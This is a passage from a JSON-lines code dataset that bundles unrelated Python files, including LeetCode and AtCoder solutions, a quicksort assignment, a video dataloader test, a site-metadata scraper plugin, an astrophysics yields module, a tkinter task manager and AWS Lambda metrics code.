collections import defaultdict\nclass Solution(object):\n\n def __init__(self, nums):\n \"\"\"\n\n :type nums: List[int]\n :type numsSize: int\n \"\"\"\n self.nums = nums\n\n def pick(self, target):\n \"\"\"\n :type target: int\n :rtype: int\n \"\"\"\n result = -1\n upbound = 1\n for i in range(len(self.nums)):\n if self.nums[i] == target:\n print(i, upbound)\n if random.randrange(0, upbound) == 0:\n print(\"+\")\n result = i\n upbound += 1\n return result\n\n# https://zhuanlan.zhihu.com/p/29178293\n\ns = Solution([1,2,3,3,3])\ni = 0\nrst = defaultdict(int)\nprint(s.pick(3))\n\n# while i < 10000:\n# cur = s.pick(3)\n# rst[cur] += 1\n# i += 1\n# print rst\n","sub_path":"src/leetcode/LC_398_random_pick_index.py","file_name":"LC_398_random_pick_index.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"235373747","text":"import setuptools\n\nwith open('README.txt', 'r') as f:\n\tlong_description = f.read()\n\nsetuptools.setup(\n name = 'SchemDraw',\n version = '0.4.0',\n description = 'Electrical circuit schematic drawing',\n author = 'Collin J. Delker',\n author_email = 'developer@collindelker.com',\n url = 'http://cdelker.bitbucket.io/SchemDraw',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages = setuptools.find_packages(),\n keywords = ['circuit', 'schematic', 'electrical'],\n install_requires=['numpy', 'matplotlib'],\n classifiers = [\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Development Status :: 4 - Beta',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Intended Audience :: Education',\n 'Intended Audience :: Science/Research',\n 'Intended Audience :: End Users/Desktop',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"25020807","text":"import os.path as osp\nimport logging\nimport math\nimport torchvision.utils\nfrom data import create_dataloader, create_dataset\nfrom utils import util\n\n# root path of EDVR repo\nroot = osp.dirname(osp.dirname(osp.abspath(__file__)))\nlogging.getLogger().setLevel(logging.DEBUG)\nlogging.info(root)\n\n\n#####################\n## REDS\n#####################\ndef RED_opts():\n logging.info('Testing REDS dataset')\n opt={}\n opt['name'] = 'test_REDS'\n opt['dataroot_GT'] = osp.join(root,'datasets/REDS/train/sharp_wval.lmdb')\n opt['dataroot_LQ'] = osp.join(root,'datasets/REDS/train/sharp_bicubic_wval.lmdb')\n logging.info(f\"GT={opt['dataroot_GT']}\")\n logging.info(f\"LQ={opt['dataroot_LQ']}\")\n opt['mode'] = 'REDS'\n opt['N_frames'] = 5\n opt['phase'] = 'train'\n opt['use_shuffle'] = True\n opt['n_workers'] = 8\n opt['batch_size'] = 16\n opt['GT_size'] = 256\n opt['LQ_size'] = 64\n opt['scale'] = 4\n opt['use_flip'] = True\n opt['use_rot'] = True\n opt['interval_list'] = [1]\n opt['random_reverse'] = False\n opt['border_mode'] = False\n opt['cache_keys'] = 'REDS_trainval_keys.pkl'\n return opt\n\n#####################\n## Vimeo90K\n#####################\ndef Vimeo90k_opts():\n logging.info('Testing Vimeo90k dataset')\n opt={}\n opt['name'] = 'test_Vimeo90K'\n opt['dataroot_GT'] = osp.join(root,'datasets/vimeo90k/vimeo90k_train_GT.lmdb')\n opt['dataroot_LQ'] = osp.join(root,'datasets/vimeo90k/vimeo90k_train_LR7frames.lmdb')\n opt['mode'] = 'Vimeo90K'\n opt['N_frames'] = 7\n opt['phase'] = 'train'\n opt['use_shuffle'] = True\n opt['n_workers'] = 8\n opt['batch_size'] = 16\n opt['GT_size'] = 256\n opt['LQ_size'] = 64\n opt['scale'] = 4\n opt['use_flip'] = True\n opt['use_rot'] = True\n opt['interval_list'] = [1]\n opt['random_reverse'] = False\n opt['border_mode'] = False\n opt['cache_keys'] = 'Vimeo90K_train_keys.pkl'\n return opt\n###############################################################################\nopt = RED_opts() # or Vimeo90k_opts()\nopt['data_type'] = 'lmdb' # img | lmdb | mc\nopt['dist'] = False\nopt['gpu_ids'] = [0]\n\nutil.mkdir('tmp')\ntrain_set = create_dataset(opt)\ntrain_loader = create_dataloader(train_set, opt, opt, None)\nnrow = int(math.sqrt(opt['batch_size']))\nif opt['phase'] == 'train':\n padding = 2\nelse:\n padding = 0\n\nlogging.info('start...')\nfor i, data in enumerate(train_loader):\n if i > 5:\n break\n logging.info(i)\n LQs = data['LQs']\n GT = data['GT']\n key = data['key']\n\n # save LQ images\n for j in range(LQs.size(1)):\n torchvision.utils.save_image(LQs[:, j, :, :, :], f'tmp/LQ_{i:03d}_{j}.png',\n nrow=nrow, padding=padding, normalize=False)\n torchvision.utils.save_image(GT, f'tmp/GT_{i:03d}.png', nrow=nrow, padding=padding,\n normalize=False)\n","sub_path":"codes/test_dataloader_dataset.py","file_name":"test_dataloader_dataset.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"183016163","text":"import numpy.random\n\n\ndef quicksort(A):\n n = len(A)\n if n in [0, 1]:\n return A\n\n global NUM_COMP\n\n p = choose_pivot(A)\n NUM_COMP += n - 1\n A_part, p_new = partition(A, p)\n\n return quicksort(A_part[:p_new]) + [A_part[p_new]] + quicksort(A_part[p_new+1:])\n\n\ndef partition(A, p):\n pivot = A[p]\n A_pivot_first = swap(A, p, 0)\n i = 1\n for j in range(1, len(A)):\n if A[j] < pivot:\n A = swap(A, i, j)\n i += 1\n return swap(A, 0, i-1), i-1\n\n\ndef swap(A, i, j):\n Ai = A[i]\n Aj = A[j]\n A[i] = Aj\n A[j] = Ai\n return A\n\n\ndef choose_pivot(A):\n n = len(A)\n middle = int((n-1)/2)\n if A[0] < A[middle] < A[-1] or A[-1] < A[middle] < A[0]:\n return middle\n elif A[middle] < A[0] < A[-1] or A[-1] < A[0] < A[middle]:\n return 0\n else:\n return -1\n # return 0\n # return -1\n\n\ndef tests():\n for N in range(0, 10000):\n A = list(numpy.random.uniform(low=-100, high=100, size=13))\n assert quicksort(A) == sorted(A)\n\n\nif __name__ == \"__main__\":\n file = open('QuickSort.txt', 'r')\n A = []\n for line in file:\n A.append(int(line))\n # A = [3, 1, 2, 4, 3, 6, 7]\n NUM_COMP = 0\n A_sorted = quicksort(A)\n assert A_sorted == sorted(A)\n print('Number of comparisons: {}'.format(NUM_COMP))\n # tests()\n print('Tests pass!')\n","sub_path":"PA_2.py","file_name":"PA_2.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"580981739","text":"import PAsearchSites\nimport PAutils\n\n\ndef search(results, lang, siteNum, searchData):\n req = PAutils.HTTPRequest(PAsearchSites.getSearchSearchURL(siteNum) + searchData.encoded)\n searchResults = HTML.ElementFromString(req.text)\n for searchResult in searchResults.xpath('//div[@class=\"scene\"]'):\n url = searchResult.xpath('.//a[@data-track=\"TITLE_LINK\"]/@href')[0]\n if '/scenes/' in url:\n curID = PAutils.Encode(url)\n titleNoFormatting = searchResult.xpath('.//a[@data-track=\"TITLE_LINK\"]')[0].text_content()\n releaseDate = parse(searchResult.xpath('./span[@class=\"scene-date\"]')[0].text_content().strip()).strftime('%Y-%m-%d')\n\n if searchData.date:\n score = 100 - Util.LevenshteinDistance(searchData.date, releaseDate)\n else:\n score = 100 - Util.LevenshteinDistance(searchData.title.lower(), titleNoFormatting.lower())\n\n results.Append(MetadataSearchResult(id='%s|%d|%s' % (curID, siteNum, releaseDate), name='%s [%s] %s' % (titleNoFormatting, PAsearchSites.getSearchSiteName(siteNum), releaseDate), score=score, lang=lang))\n\n # search for exact scene name\n urlTitle = searchData.encoded.replace('%20', '-')\n urls = [PAsearchSites.getSearchBaseURL(siteNum) + '/scenes/video---' + urlTitle + '_vids.html',\n PAsearchSites.getSearchBaseURL(siteNum) + '/scenes/movie---' + urlTitle + '_vids.html']\n\n for url in urls:\n try:\n sceneReq = PAutils.HTTPRequest(url)\n scenePage = HTML.ElementFromString(sceneReq.text)\n\n curID = PAutils.Encode(url)\n titleNoFormatting = scenePage.xpath('//div[@class=\"content-desc content-new-scene\"]//h1')[0].text_content().strip()\n releaseDate = parse(scenePage.xpath('//meta[@itemprop=\"uploadDate\"]')[0].get('content'))\n score = 100\n\n results.Append(MetadataSearchResult(id='%s|%d|%s' % (curID, siteNum, releaseDate), name='%s [%s] %s' % (titleNoFormatting, PAsearchSites.getSearchSiteName(siteNum), releaseDate), score=score, lang=lang))\n except:\n pass\n\n return results\n\n\ndef update(metadata, lang, siteNum, movieGenres, movieActors, art):\n metadata_id = str(metadata.id).split('|')\n sceneURL = PAutils.Decode(metadata_id[0])\n if not sceneURL.startswith('http'):\n sceneURL = PAsearchSites.getSearchBaseURL(siteNum) + sceneURL\n sceneDate = metadata_id[2]\n req = PAutils.HTTPRequest(sceneURL)\n detailsPageElements = HTML.ElementFromString(req.text)\n\n # Title\n metadata.title = detailsPageElements.xpath('//div[@class=\"content-desc content-new-scene\"]//h1')[0].text_content().replace('Video -', '').replace('Movie -', '').strip()\n\n # Studio\n metadata.studio = PAsearchSites.getSearchSiteName(siteNum)\n\n # Summary\n try:\n metadata.summary = detailsPageElements.xpath('//div[@class=\"content-desc content-new-scene\"]//p')[0].text_content().strip()\n except:\n pass\n\n # Genres\n movieGenres.clearGenres()\n for genreLink in detailsPageElements.xpath('//ul[contains(@class, \"scene-tags\")]/li'):\n genreName = genreLink.xpath('.//a')[0].text_content().lower()\n\n movieGenres.addGenre(genreName)\n\n # Release Date\n date = detailsPageElements.xpath('//meta[@itemprop=\"uploadDate\"]')[0].get('content')\n if date:\n date_object = datetime.strptime(date, '%m/%d/%Y')\n metadata.originally_available_at = date_object\n metadata.year = metadata.originally_available_at.year\n elif sceneDate:\n date_object = parse(date)\n metadata.originally_available_at = date_object\n metadata.year = metadata.originally_available_at.year\n\n # Actors\n movieActors.clearActors()\n for actorPage in detailsPageElements.xpath('//ul[@id=\"featured_pornstars\"]//div[@class=\"model\"]'):\n actorName = actorPage.xpath('.//h3')[0].text_content().strip()\n actorPhotoURL = actorPage.xpath('.//img/@src')[0]\n\n movieActors.addActor(actorName, actorPhotoURL)\n\n # Posters\n art.append(detailsPageElements.xpath('//div[@id=\"trailer_player_finished\"]//img/@src')[0])\n\n Log('Artwork found: %d' % len(art))\n for idx, posterUrl in enumerate(art, 1):\n if not PAsearchSites.posterAlreadyExists(posterUrl, metadata):\n # Download image file for analysis\n try:\n image = PAutils.HTTPRequest(posterUrl)\n im = StringIO(image.content)\n resized_image = Image.open(im)\n width, height = resized_image.size\n # Add the image proxy items to the collection\n if width > 1:\n # Item is a poster\n metadata.posters[posterUrl] = Proxy.Media(image.content, sort_order=idx)\n if width > 100:\n # Item is an art item\n metadata.art[posterUrl] = Proxy.Media(image.content, sort_order=idx)\n except:\n pass\n\n return metadata\n","sub_path":"Contents/Code/sitePenthouseGold.py","file_name":"sitePenthouseGold.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"189285964","text":"r\"\"\"\nSeitenzahl et al. (2013), MNRAS, 429, 1156 typa Ia supernova (SN Ia) yields \n\n**Signature**: from vice.yields.sneia import seitenzahl13 \n\nImporting this module will automatically set the SN Ia yield settings for all \nelements to the IMF-averaged yields calculated with the Seitenzahl et al. \n(2013) yield table under the N1 explosion model. This study is for delayed \ndetonation explosion models of Chandrasekhar mass progenitors \n(1.4 :math:`M_\\odot`). \n\n.. tip:: By importing this module, the user does not sacrifice the ability to \n\tspecify their yield settings directly. \n\n.. note:: This module is not imported with a simple ``import vice`` statement. \n\nContents \n--------\nset_params : \n\tUpdate the parameters with which the yields are calculated. \n\"\"\"\n\nfrom __future__ import absolute_import \ntry: \n\t__VICE_SETUP__ \nexcept NameError: \n\t__VICE_SETUP__ = False \n\nif not __VICE_SETUP__: \n\n\t__all__ = [\"set_params\", \"test\"] \n\tfrom ...._globals import _RECOGNIZED_ELEMENTS_ \n\tfrom .. import fractional as __fractional \n\tfrom .. import settings as __settings \n\tfrom .tests import test \n\n\tdef set_params(**kwargs): \n\t\tr\"\"\"\n\t\tUpdate the parameters with which the yields are calculated from the \n\t\tSeitenzahl et al. (2013) [1]_ data. \n\n\t\tParameters \n\t\t---------- \n\t\tkwargs : varying types \n\t\t\tKeyword arguments to pass to vice.yields.sneia.fractional. \n\n\t\tRaises \n\t\t------\n\t\t* TypeError \n\t\t\t- \tReceived a keyword argument \"study\". This will always be \n\t\t\t\t\"seitenzahl13\" when called from this module. \n\n\t\tOther exceptions are raised by vice.yields.sneia.fractional. \n\n\t\t.. seealso:: vice.yields.sneia.fractional \n\n\t\tExample Code \n\t\t------------\n\t\t>>> from vice.yields.sneia import seitenzahl13 \n\t\t>>> seitenzahl13.set_params(n = 1.5e-03) \n\n\t\t.. seealso:: vice.yields.sneia.fractional \n\t\t\tvice.yields.sneia.single \n\n\t\t.. [1] Seitenzahl et al. (2013), ApJ, 124, 439 \n\t\t\"\"\"\n\t\tif \"study\" in kwargs.keys(): \n\t\t\traise TypeError(\"Got an unexpected keyword argument 'study'\") \n\t\telse: \n\t\t\tfor i in _RECOGNIZED_ELEMENTS_: \n\t\t\t\t__settings[i] = __fractional(i, study = \"seitenzahl13\", \n\t\t\t\t\t**kwargs) \n\n\tset_params() \n\nelse: \n\tpass \n","sub_path":"vice/yields/sneia/seitenzahl13/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"461996838","text":"from itertools import permutations\n\nN = int(input())\nA = [list(map(int, input().split())) for _ in range(N)]\nM = int(input())\ndislike = [[] for _ in range(N)]\nfor _ in range(M):\n x, y = map(int, input().split())\n dislike[x - 1] += [y - 1]\n dislike[y - 1] += [x - 1]\n\nans = float(\"INF\")\nfor perm in permutations(range(N)):\n curr = 0\n last_runner = -1\n for i, v in enumerate(perm):\n # 第i区はvさんが走る\n curr += A[v][i]\n if last_runner >= 0:\n if v in dislike[last_runner] or last_runner in dislike[v]:\n break\n last_runner = v\n else:\n ans = min(curr, ans)\n\nif ans == float(\"INF\"):\n print(-1)\nelse:\n print(ans)\n","sub_path":"pysol/032.py","file_name":"032.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"630804268","text":"import tkinter as tk\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nimport tkinter.messagebox\r\nfrom CustomWiggets import Title , styles , Paragraf , Trigger\r\nimport Connect\r\nfrom datetime import datetime , time , date\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nroot = tk.Tk()\r\n\r\napp = tk.Frame(master = root)\r\n\r\n\r\n\r\n# Settings\r\nroot.title(\"Tasks administrator\")\r\nroot.geometry(\"1000x700\")\r\nroot.config(bg = styles.colors[\"green\"])\r\n\r\nbg = Frame(master = app , bg = styles.colors[\"blue\"] , borderwidth = 2 )\r\n\r\napp.config( bg = styles.colors[\"green\"] , pady = 10 )\r\n\r\n\r\n\r\ndef Add():\r\n task = str(name.get(1.0,END))\r\n finish = str(date.get(1.0, END))\r\n creation = datetime.strftime( datetime.now() , \"%d / %m / %y\" )\r\n tkinter.messagebox.showinfo(\"Adding Task\" , \"Task has added successfully\")\r\n\r\n\r\n \r\n Connect.run_query(\"INSERT INTO tasks VALUES( null, ? , ? , ?)\" , ( task , creation , finish) )\r\n Get_task()\r\n \r\n \r\ndef Delete():\r\n \r\n item_select = table.selection()\r\n text = str((table.item(item_select)[\"values\"])[1])\r\n print(text)\r\n yes = tkinter.messagebox.askyesno(\"Deleting task\" , \"Do you want delete to task? \")\r\n if(yes):\r\n Connect.run_query(\"DELETE FROM tasks where title= ? \", [text] )\r\n\r\n Get_task()\r\n \r\n\r\n \r\n\r\n\r\n \r\napp.pack()\r\nbg.grid(pady = 20 , row = 0)\r\n\r\ndef Get_task():\r\n for item in table.get_children():\r\n table.delete(item)\r\n\r\n for row in Connect.run_query(\"SELECT * FROM tasks\"):\r\n \r\n table.insert(\"\", END , values = (row[2] , row[1] , row[3]) )\r\n \r\n \r\n\r\nParagraf(master = bg , text = \"Task name\" , anchor = \"s\").grid()\r\n\r\nname = Text(master = bg , width = 28 , height = 2 , relief = \"solid\" )\r\nname.grid( pady = 5 )\r\n\r\nParagraf(master = bg , text = \"Description\" )\r\n\r\ndate = Text(master = bg , width = 28 , height = 2 , relief = \"solid\" , )\r\ndate.grid(pady = 5)\r\n\r\nTrigger(master= bg , text = \"Add task!\" , width = 20 , command = Add, borderwidth = 2 , relief = \"solid\" )\r\nTrigger(master= bg , text = \"Delete task!\" , width = 20 , command = Delete, borderwidth = 2 , relief = \"solid\" )\r\n\r\nParagraf(master = bg , text = \"Task list:\" , anchor = \"w\" )\r\n\r\n# That is from a page i found over there , in future if i remenber ,i will do it like that :)\r\nstyle = ttk.Style()\r\nstyle.configure(\"mystyle.Treeview\", highlightthickness=0, bd=0, font=('helvatica', 12 , \"bold\") ) # Modify the font of the body\r\nstyle.configure(\"mystyle.Treeview.Heading\", font=('Helvatica', 14,'bold') ) # Modify the font of the headings\r\n\r\nstyle.layout(\"mystyle.Treeview\", [('mystyle.Treeview.treearea', {'sticky': 'nswe' })]) # Remove the borders\r\n\r\ntable = ttk.Treeview(master = bg ,height = 10 , style = \"mystyle.Treeview\" , columns = ( \"create\" , \"task\" , \"finish\", \"\") ,)\r\n\r\ntable.column(\"#0\" , width = 0 ) \r\ntable.column(\"#4\" , width = 0 ) \r\n\r\n\r\n\r\ntable.heading(\"create\" , text = \"Creation date\" )\r\ntable.heading(\"task\" , text = \"Task\" )\r\n\r\ntable.heading(\"finish\" , text = \"Description\")\r\n\r\n\r\ntable.grid( pady = 10 , padx = 10)\r\n\r\nGet_task()\r\n\r\napp.mainloop()\r\n\r\n \r\n \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"TaskAdministrator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"103988545","text":"from multiprocessing import Process, Queue\nfrom time import sleep\n\n\nclass MyProc(Process):\n def __init__(self):\n super().__init__()\n self.myres = 0\n\n def run(self):\n for i in range(10):\n self.myres += 1\n\n\ndef my_func(queue):\n res = 0\n for i in range(10):\n res += 1\n queue.put(res)\n\n\nif __name__ == '__main__':\n q = Queue()\n p = Process(target=my_func, args=(q,))\n p.start()\n p.join()\n print(q.get())\n\n","sub_path":"thrds/multiproc_test.py","file_name":"multiproc_test.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"369426589","text":"import datetime\nimport json\nimport logging\nimport numbers\nimport os\nimport pathlib\nfrom collections import defaultdict\nfrom enum import Enum\nfrom typing import Any, Dict, List, Union\n\nimport fastjsonschema\n\nfrom .exceptions import MetricUnitError, MetricValueError, SchemaValidationError\n\nlogger = logging.getLogger(__name__)\n\n_schema_path = pathlib.Path(__file__).parent / \"./schema.json\"\nwith _schema_path.open() as f:\n CLOUDWATCH_EMF_SCHEMA = json.load(f)\n\nMAX_METRICS = 100\n\n\nclass MetricUnit(Enum):\n Seconds = \"Seconds\"\n Microseconds = \"Microseconds\"\n Milliseconds = \"Milliseconds\"\n Bytes = \"Bytes\"\n Kilobytes = \"Kilobytes\"\n Megabytes = \"Megabytes\"\n Gigabytes = \"Gigabytes\"\n Terabytes = \"Terabytes\"\n Bits = \"Bits\"\n Kilobits = \"Kilobits\"\n Megabits = \"Megabits\"\n Gigabits = \"Gigabits\"\n Terabits = \"Terabits\"\n Percent = \"Percent\"\n Count = \"Count\"\n BytesPerSecond = \"Bytes/Second\"\n KilobytesPerSecond = \"Kilobytes/Second\"\n MegabytesPerSecond = \"Megabytes/Second\"\n GigabytesPerSecond = \"Gigabytes/Second\"\n TerabytesPerSecond = \"Terabytes/Second\"\n BitsPerSecond = \"Bits/Second\"\n KilobitsPerSecond = \"Kilobits/Second\"\n MegabitsPerSecond = \"Megabits/Second\"\n GigabitsPerSecond = \"Gigabits/Second\"\n TerabitsPerSecond = \"Terabits/Second\"\n CountPerSecond = \"Count/Second\"\n\n\nclass MetricManager:\n \"\"\"Base class for metric functionality (namespace, metric, dimension, serialization)\n\n MetricManager creates metrics asynchronously thanks to CloudWatch Embedded Metric Format (EMF).\n CloudWatch EMF can create up to 100 metrics per EMF object\n and metrics, dimensions, and namespace created via MetricManager\n will adhere to the schema, will be serialized and validated against EMF Schema.\n\n **Use `aws_lambda_powertools.metrics.metrics.Metrics` or\n `aws_lambda_powertools.metrics.metric.single_metric` to create EMF metrics.**\n\n Environment variables\n ---------------------\n POWERTOOLS_METRICS_NAMESPACE : str\n metric namespace to be set for all metrics\n POWERTOOLS_SERVICE_NAME : str\n service name used for default dimension\n\n Raises\n ------\n MetricUnitError\n When metric metric isn't supported by CloudWatch\n MetricValueError\n When metric value isn't a number\n SchemaValidationError\n When metric object fails EMF schema validation\n \"\"\"\n\n def __init__(\n self,\n metric_set: Dict[str, Any] = None,\n dimension_set: Dict = None,\n namespace: str = None,\n metadata_set: Dict[str, Any] = None,\n service: str = None,\n ):\n self.metric_set = metric_set if metric_set is not None else {}\n self.dimension_set = dimension_set if dimension_set is not None else {}\n self.namespace = namespace or os.getenv(\"POWERTOOLS_METRICS_NAMESPACE\")\n self.service = service or os.environ.get(\"POWERTOOLS_SERVICE_NAME\")\n self._metric_units = [unit.value for unit in MetricUnit]\n self._metric_unit_options = list(MetricUnit.__members__)\n self.metadata_set = self.metadata_set if metadata_set is not None else {}\n\n def add_metric(self, name: str, unit: Union[MetricUnit, str], value: float):\n \"\"\"Adds given metric\n\n Example\n -------\n **Add given metric using MetricUnit enum**\n\n metric.add_metric(name=\"BookingConfirmation\", unit=MetricUnit.Count, value=1)\n\n **Add given metric using plain string as value unit**\n\n metric.add_metric(name=\"BookingConfirmation\", unit=\"Count\", value=1)\n\n Parameters\n ----------\n name : str\n Metric name\n unit : Union[MetricUnit, str]\n `aws_lambda_powertools.helper.models.MetricUnit`\n value : float\n Metric value\n\n Raises\n ------\n MetricUnitError\n When metric unit is not supported by CloudWatch\n \"\"\"\n if not isinstance(value, numbers.Number):\n raise MetricValueError(f\"{value} is not a valid number\")\n\n unit = self.__extract_metric_unit_value(unit=unit)\n metric: Dict = self.metric_set.get(name, defaultdict(list))\n metric[\"Unit\"] = unit\n metric[\"Value\"].append(float(value))\n logger.debug(f\"Adding metric: {name} with {metric}\")\n self.metric_set[name] = metric\n\n if len(self.metric_set) == MAX_METRICS:\n logger.debug(f\"Exceeded maximum of {MAX_METRICS} metrics - Publishing existing metric set\")\n metrics = self.serialize_metric_set()\n print(json.dumps(metrics))\n\n # clear metric set only as opposed to metrics and dimensions set\n # since we could have more than 100 metrics\n self.metric_set.clear()\n\n def serialize_metric_set(self, metrics: Dict = None, dimensions: Dict = None, metadata: Dict = None) -> Dict:\n \"\"\"Serializes metric and dimensions set\n\n Parameters\n ----------\n metrics : Dict, optional\n Dictionary of metrics to serialize, by default None\n dimensions : Dict, optional\n Dictionary of dimensions to serialize, by default None\n metadata: Dict, optional\n Dictionary of metadata to serialize, by default None\n\n Example\n -------\n **Serialize metrics into EMF format**\n\n metrics = MetricManager()\n # ...add metrics, dimensions, namespace\n ret = metrics.serialize_metric_set()\n\n Returns\n -------\n Dict\n Serialized metrics following EMF specification\n\n Raises\n ------\n SchemaValidationError\n Raised when serialization fail schema validation\n \"\"\"\n if metrics is None: # pragma: no cover\n metrics = self.metric_set\n\n if dimensions is None: # pragma: no cover\n dimensions = self.dimension_set\n\n if metadata is None: # pragma: no cover\n metadata = self.metadata_set\n\n if self.service and not self.dimension_set.get(\"service\"):\n self.dimension_set[\"service\"] = self.service\n\n logger.debug({\"details\": \"Serializing metrics\", \"metrics\": metrics, \"dimensions\": dimensions})\n\n metric_names_and_units: List[Dict[str, str]] = [] # [ { \"Name\": \"metric_name\", \"Unit\": \"Count\" } ]\n metric_names_and_values: Dict[str, float] = {} # { \"metric_name\": 1.0 }\n\n for metric_name in metrics:\n metric: dict = metrics[metric_name]\n metric_value: int = metric.get(\"Value\", 0)\n metric_unit: str = metric.get(\"Unit\", \"\")\n\n metric_names_and_units.append({\"Name\": metric_name, \"Unit\": metric_unit})\n metric_names_and_values.update({metric_name: metric_value})\n\n embedded_metrics_object = {\n \"_aws\": {\n \"Timestamp\": int(datetime.datetime.now().timestamp() * 1000), # epoch\n \"CloudWatchMetrics\": [\n {\n \"Namespace\": self.namespace, # \"test_namespace\"\n \"Dimensions\": [list(dimensions.keys())], # [ \"service\" ]\n \"Metrics\": metric_names_and_units,\n }\n ],\n },\n **dimensions, # \"service\": \"test_service\"\n **metadata, # \"username\": \"test\"\n **metric_names_and_values, # \"single_metric\": 1.0\n }\n\n try:\n logger.debug(\"Validating serialized metrics against CloudWatch EMF schema\")\n fastjsonschema.validate(definition=CLOUDWATCH_EMF_SCHEMA, data=embedded_metrics_object)\n except fastjsonschema.JsonSchemaException as e:\n message = f\"Invalid format. Error: {e.message}, Invalid item: {e.name}\" # noqa: B306, E501\n raise SchemaValidationError(message)\n return embedded_metrics_object\n\n def add_dimension(self, name: str, value: str):\n \"\"\"Adds given dimension to all metrics\n\n Example\n -------\n **Add a metric dimensions**\n\n metric.add_dimension(name=\"operation\", value=\"confirm_booking\")\n\n Parameters\n ----------\n name : str\n Dimension name\n value : str\n Dimension value\n \"\"\"\n logger.debug(f\"Adding dimension: {name}:{value}\")\n\n # Cast value to str according to EMF spec\n # Majority of values are expected to be string already, so\n # checking before casting improves performance in most cases\n if isinstance(value, str):\n self.dimension_set[name] = value\n else:\n self.dimension_set[name] = str(value)\n\n def add_metadata(self, key: str, value: Any):\n \"\"\"Adds high cardinal metadata for metrics object\n\n This will not be available during metrics visualization.\n Instead, this will be searchable through logs.\n\n If you're looking to add metadata to filter metrics, then\n use add_dimensions method.\n\n Example\n -------\n **Add metrics metadata**\n\n metric.add_metadata(key=\"booking_id\", value=\"booking_id\")\n\n Parameters\n ----------\n key : str\n Metadata key\n value : any\n Metadata value\n \"\"\"\n logger.debug(f\"Adding metadata: {key}:{value}\")\n\n # Cast key to str according to EMF spec\n # Majority of keys are expected to be string already, so\n # checking before casting improves performance in most cases\n if isinstance(key, str):\n self.metadata_set[key] = value\n else:\n self.metadata_set[str(key)] = value\n\n def __extract_metric_unit_value(self, unit: Union[str, MetricUnit]) -> str:\n \"\"\"Return metric value from metric unit whether that's str or MetricUnit enum\n\n Parameters\n ----------\n unit : Union[str, MetricUnit]\n Metric unit\n\n Returns\n -------\n str\n Metric unit value (e.g. \"Seconds\", \"Count/Second\")\n\n Raises\n ------\n MetricUnitError\n When metric unit is not supported by CloudWatch\n \"\"\"\n\n if isinstance(unit, str):\n if unit in self._metric_unit_options:\n unit = MetricUnit[unit].value\n\n if unit not in self._metric_units: # str correta\n raise MetricUnitError(\n f\"Invalid metric unit '{unit}', expected either option: {self._metric_unit_options}\"\n )\n\n if isinstance(unit, MetricUnit):\n unit = unit.value\n\n return unit\n","sub_path":"aws_lambda_powertools/metrics/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"66408565","text":"import math\nimport os\nimport sys\nimport time\n\nimport pyroot_plot as prp\nfrom ROOT import (TH1D, AliPID, TCanvas, TFile, TGaxis, TLegend,\n TLorentzVector, TPad, TTree, gROOT)\n\n\n# usefull progressbar\n# update_progress() : Displays or updates a console progress bar\ndef update_progress(progress):\n barLength = 40 # Modify this to change the length of the progress bar\n status = ''\n if isinstance(progress, int):\n progress = float(progress)\n if not isinstance(progress, float):\n progress = 0\n status = 'error: progress var must be float\\r\\n'\n if progress < 0:\n progress = 0\n status = 'Halt...\\r\\n'\n if progress >= 1:\n progress = 1\n status = 'Done...\\r\\n'\n block = int(round(barLength*progress))\n text = '\\rPercent: [{0}] {1:g}% {2}'.format('#'*block + '-'*(barLength-block), progress*100, status)\n sys.stdout.write(text)\n sys.stdout.flush()\n\n\n# useful methods\ndef pot2(x):\n return x*x\n\n\ndef hypot4(x0, x1, x2, x3):\n return math.sqrt(pot2(x0) + pot2(x1) + pot2(x2) + pot2(x3))\n\n\nn_bins = 20\npt_bin_width = float(10 / n_bins)\n\n# import environment\ninput_file_path = os.environ['HYPERML_TREES__3']\n\n# labels\nlabel_centrality = ['0-10', '10-30', '30-50', '50-90']\nlabel_am = ['antihyper', 'hyper']\n\n# open input file and tree\ninput_file_name = 'HyperTritonTree_19d2.root'\n\ninput_file = TFile('{}/{}'.format(input_file_path, input_file_name), 'read')\n\ntree = input_file.fHypertritonTree\nn_events = tree.GetEntries()\n\n# create histos for the efficiency\nhist_sim = {}\nhist_rec = {}\n\nlabel_array = []\n\nfor lab in label_centrality:\n for am in label_am:\n label = '{}_{}'.format(am, lab)\n\n hist_sim[label] = TH1D('fHistSim_{}'.format(label), '', n_bins, 0, 10)\n hist_rec[label] = TH1D('fHistRec_{}'.format(label), '', n_bins, 0, 10)\n\n hist_sim[label].SetDirectory(0)\n hist_rec[label].SetDirectory(0)\n\n label_array.append(label)\n\nanalyzed_events = 0\n\ncounter = 0\n\n# main loop over the events\nfor ev in tree:\n # if counter > 10000:\n # break\n\n # counter = 